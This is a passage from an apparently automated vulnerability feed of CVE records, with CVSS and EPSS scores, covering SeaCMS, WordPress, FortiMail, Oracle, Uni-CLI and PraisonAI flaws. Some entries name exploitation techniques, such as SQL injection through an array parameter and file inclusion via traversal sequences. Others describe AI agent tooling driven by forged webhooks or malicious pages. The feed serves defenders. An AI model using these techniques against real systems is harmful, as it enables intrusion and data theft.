NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-25778&date=2026-10-25
SeaCMS through 8.7 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by injecting SQL through the rlist[] array parameter. Attackers can send GET requests to /comment/api/index.php with crafted rlist[] values using backtick-quoted variables and extractvalue to extract database information via error messages. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Broadstreet Ad Widget plugin for WordPress 2.2.0 before 2.12.0 contains a local file inclusion vulnerability that allows authenticated users to execute attacker-chosen PHP files...
https://kevwire.com/record/CVE-2017-20289
Broadstreet Ad Widget plugin for WordPress 2.2.0 before 2.12.0 contains a local file inclusion vulnerability that allows authenticated users to execute attacker-chosen PHP files... (Oct 22, 2026).
Broadstreet Ad Widget plugin for WordPress 2.2.0 before 2.12.0 contains a local file inclusion vulnerability that allows authenticated users to execute attacker-chosen PHP files by passing unsanitized input to require in views/modal/index.php. Attackers can supply directory traversal sequences in the 'step' parameter, optionally with a null byte, to include local files and execute PHP code. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 7.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2017-20289).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-20289&date=2026-10-25).
Sources:
NVD CVE-2017-20289: https://nvd.nist.gov/vuln/detail/CVE-2017-20289
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-20289&date=2026-10-25
Broadstreet Ad Widget plugin for WordPress 2.2.0 before 2.12.0 contains a local file inclusion vulnerability that allows authenticated users to execute attacker-chosen PHP files by passing unsanitized input to require in views/modal/index.php. Attackers can supply directory traversal sequences in the 'step' parameter, optionally with a null byte, to include local files and execute PHP code. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An improper neutralization of special elements used in an SQL Command ("SQL Injection") vulnerability [CWE-89] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.3, FortiMail...
https://kevwire.com/record/CVE-2025-57739
An improper neutralization of special elements used in an SQL Command ("SQL Injection") vulnerability [CWE-89] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.3, FortiMail... (Oct 13, 2026).
An improper neutralization of special elements used in an SQL Command ("SQL Injection") vulnerability [CWE-89] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.3, FortiMail 7.4.0 through 7.4.5, FortiMail 7.2.0 through 7.2.8 allows an authenticated attacker to execute unauthorized code or commands via specifically crafted HTTP or HTTPS requests.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-57739).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-57739&date=2026-10-25).
Sources:
NVD CVE-2025-57739: https://nvd.nist.gov/vuln/detail/CVE-2025-57739
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-57739&date=2026-10-25
An improper neutralization of special elements used in an SQL Command ("SQL Injection") vulnerability [CWE-89] vulnerability in Fortinet FortiMail 7.6.0 through 7.6.3, FortiMail 7.4.0 through 7.4.5, FortiMail 7.2.0 through 7.2.8 allows an authenticated attacker to execute unauthorized code or commands via specifically crafted HTTP or HTTPS requests.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Kaneo before 2.1.6 contains a missing authorization vulnerability that allows authenticated users to access other workspaces by supplying project, task, label or workspace...
https://kevwire.com/record/CVE-2025-71433
Kaneo before 2.1.6 contains a missing authorization vulnerability that allows authenticated users to access other workspaces by supplying project, task, label or workspace... (Oct 14, 2026).
Kaneo before 2.1.6 contains a missing authorization vulnerability that allows authenticated users to access other workspaces by supplying project, task, label or workspace identifiers to API routes lacking membership checks. Attackers who obtain identifiers, for example from shared project links, can read projects and tasks, modify or delete tasks, labels and comments, and search workspace contents.
CVSS 7.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-71433).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-71433&date=2026-10-25).
Sources:
NVD CVE-2025-71433: https://nvd.nist.gov/vuln/detail/CVE-2025-71433
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-71433&date=2026-10-25
Kaneo before 2.1.6 contains a missing authorization vulnerability that allows authenticated users to access other workspaces by supplying project, task, label or workspace identifiers to API routes lacking membership checks. Attackers who obtain identifiers, for example from shared project links, can read projects and tasks, modify or delete tasks, labels and comments, and search workspace contents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Communications Panel/Dashboard).
https://kevwire.com/record/CVE-2026-91445
Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Communications Panel/Dashboard). (Oct 20, 2026).
Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Communications Panel/Dashboard).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM End User accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91445).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91445&date=2026-10-25).
Sources:
NVD CVE-2026-91445: https://nvd.nist.gov/vuln/detail/CVE-2026-91445
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91445&date=2026-10-25
Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Communications Panel/Dashboard).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM End User accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-91442
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91442).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91442&date=2026-10-25).
Sources:
NVD CVE-2026-91442: https://nvd.nist.gov/vuln/detail/CVE-2026-91442
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91442&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-91438
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91438).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91438&date=2026-10-25).
Sources:
NVD CVE-2026-91438: https://nvd.nist.gov/vuln/detail/CVE-2026-91438
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91438&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-91437
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  While the vulnerability is in Siebel CRM Deployment, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91437).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91437&date=2026-10-25).
Sources:
NVD CVE-2026-91437: https://nvd.nist.gov/vuln/detail/CVE-2026-91437
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91437&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  While the vulnerability is in Siebel CRM Deployment, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel Apps - Field Service product of Oracle Siebel CRM (component: Smart Answer).
https://kevwire.com/record/CVE-2026-91433
Vulnerability in the Siebel Apps - Field Service product of Oracle Siebel CRM (component: Smart Answer). (Oct 20, 2026).
Vulnerability in the Siebel Apps - Field Service product of Oracle Siebel CRM (component: Smart Answer).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel Apps - Field Service.  Successful attacks of this vulnerability can result in takeover of Siebel Apps - Field Service. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91433).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91433&date=2026-10-25).
Sources:
NVD CVE-2026-91433: https://nvd.nist.gov/vuln/detail/CVE-2026-91433
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91433&date=2026-10-25
Vulnerability in the Siebel Apps - Field Service product of Oracle Siebel CRM (component: Smart Answer).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel Apps - Field Service.  Successful attacks of this vulnerability can result in takeover of Siebel Apps - Field Service. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).
https://kevwire.com/record/CVE-2026-91419
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module). (Oct 20, 2026).
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle HTTP Server executes to compromise Oracle HTTP Server.  Successful attacks of this vulnerability can result in takeover of Oracle HTTP Server. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91419).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91419&date=2026-10-25).
Sources:
NVD CVE-2026-91419: https://nvd.nist.gov/vuln/detail/CVE-2026-91419
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91419&date=2026-10-25
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle HTTP Server executes to compromise Oracle HTTP Server.  Successful attacks of this vulnerability can result in takeover of Oracle HTTP Server. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D).
https://kevwire.com/record/CVE-2026-91415
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D). (Oct 20, 2026).
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D).  Supported versions that are affected are Oracle Java SE: 8u503, 8u503-perf, 11.0.32.1, 17.0.20.1, 21.0.12.1, 25.0.4.1, 27; Oracle GraalVM for JDK: 17.0.20.1 and  21.0.12.1; Oracle GraalVM Enterprise Edition: 21.3.19.1.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition as well as  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data and  unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91415).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91415&date=2026-10-25).
Sources:
NVD CVE-2026-91415: https://nvd.nist.gov/vuln/detail/CVE-2026-91415
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91415&date=2026-10-25
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D).  Supported versions that are affected are Oracle Java SE: 8u503, 8u503-perf, 11.0.32.1, 17.0.20.1, 21.0.12.1, 25.0.4.1, 27; Oracle GraalVM for JDK: 17.0.20.1 and  21.0.12.1; Oracle GraalVM Enterprise Edition: 21.3.19.1.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition as well as  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data and  unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uni-CLI gives people and agents one command interface for websites, browsers, desktop applications, local tools, and MCP.
https://kevwire.com/record/CVE-2026-58497
Uni-CLI gives people and agents one command interface for websites, browsers, desktop applications, local tools, and MCP. (Oct 23, 2026).
Uni-CLI gives people and agents one command interface for websites, browsers, desktop applications, local tools, and MCP. Prior to version 0.225.2, Uni-CLI exposed the legacy JSON-RPC-over-HTTP MCP transport on loopback without validating browser Origin headers before routing requests. A malicious web page could send a CORS simple POST request, such as text/plain, to the local /mcp endpoint and deliver a JSON-RPC body to the dispatcher. If the user had started the local MCP HTTP transport, that page could drive tools/call requests against the user's local Uni-CLI server. The Streamable HTTP transport already enforced this browser-to-localhost boundary. The legacy stateless HTTP path did not, so the two HTTP transports had drifted. This issue is about the browser-to-localhost boundary; it does not change Uni-CLI's local-code-execution trust model. This issue has been patched in version 0.225.2.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-58497).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58497&date=2026-10-25).
Sources:
NVD CVE-2026-58497: https://nvd.nist.gov/vuln/detail/CVE-2026-58497
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58497&date=2026-10-25
Uni-CLI gives people and agents one command interface for websites, browsers, desktop applications, local tools, and MCP. Prior to version 0.225.2, Uni-CLI exposed the legacy JSON-RPC-over-HTTP MCP transport on loopback without validating browser Origin headers before routing requests. A malicious web page could send a CORS simple POST request, such as text/plain, to the local /mcp endpoint and deliver a JSON-RPC body to the dispatcher. If the user had started the local MCP HTTP transport, that page could drive tools/call requests against the user's local Uni-CLI server. The Streamable HTTP transport already enforced this browser-to-localhost boundary. The legacy stateless HTTP path did not, so the two HTTP transports had drifted. This issue is about the browser-to-localhost boundary; it does not change Uni-CLI's local-code-execution trust model. This issue has been patched in version 0.225.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-56837
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.6.56 to before version 4.6.59, PraisonAI's LinearBot starts a public webhook listener on 0.0.0.0 and treats LINEAR_WEBHOOK_SECRET as optional. When the secret is absent, startup only logs a warning and _handle_webhook() skips Linear-Signature verification entirely. An unauthenticated network caller who can reach the webhook endpoint can submit a forged Linear-Event: AgentSession request. The forged request is parsed, scheduled for background processing, dispatched to _handle_agent_session(), and passed into BotSessionManager.chat(). The bot then attempts to post the agent response back to Linear under the configured bot token. The PoV is offline and deterministic. It does not contact Linear. It calls the webhook handler directly, monkey-patches the outbound Linear comment path, and proves both sides of the boundary. This issue has been patched in version 4.6.59.
CVSS 8.6 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56837).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56837&date=2026-10-25).
Sources:
NVD CVE-2026-56837: https://nvd.nist.gov/vuln/detail/CVE-2026-56837
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56837&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.6.56 to before version 4.6.59, PraisonAI's LinearBot starts a public webhook listener on 0.0.0.0 and treats LINEAR_WEBHOOK_SECRET as optional. When the secret is absent, startup only logs a warning and _handle_webhook() skips Linear-Signature verification entirely. An unauthenticated network caller who can reach the webhook endpoint can submit a forged Linear-Event: AgentSession request. The forged request is parsed, scheduled for background processing, dispatched to _handle_agent_session(), and passed into BotSessionManager.chat(). The bot then attempts to post the agent response back to Linear under the configured bot token. The PoV is offline and deterministic. It does not contact Linear. It calls the webhook handler directly, monkey-patches the outbound Linear comment path, and proves both sides of the boundary. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-56833
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 3.8.1 to before version 4.6.59, PraisonAI's Dynamic Context module provides filesystem-backed history and terminal-log storage. The module also exports agent-callable tool factories. Those tools accept run_id and agent_id arguments from the tool caller. The underlying stores join those values into filesystem paths without rejecting absolute paths or .. traversal. Because run_id can be an absolute path and agent_id can contain traversal, a lower-trust prompt/user that can call these tools can read .jsonl and .log files outside the configured Dynamic Context base directory. This issue has been patched in version 4.6.59.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-56833).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-56833&date=2026-10-25).
Sources:
NVD CVE-2026-56833: https://nvd.nist.gov/vuln/detail/CVE-2026-56833
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-56833&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 3.8.1 to before version 4.6.59, PraisonAI's Dynamic Context module provides filesystem-backed history and terminal-log storage. The module also exports agent-callable tool factories. Those tools accept run_id and agent_id arguments from the tool caller. The underlying stores join those values into filesystem paths without rejecting absolute paths or .. traversal. Because run_id can be an absolute path and agent_id can contain traversal, a lower-trust prompt/user that can call these tools can read .jsonl and .log files outside the configured Dynamic Context base directory. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt.
https://kevwire.com/record/CVE-2026-53920
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. (Oct 23, 2026).
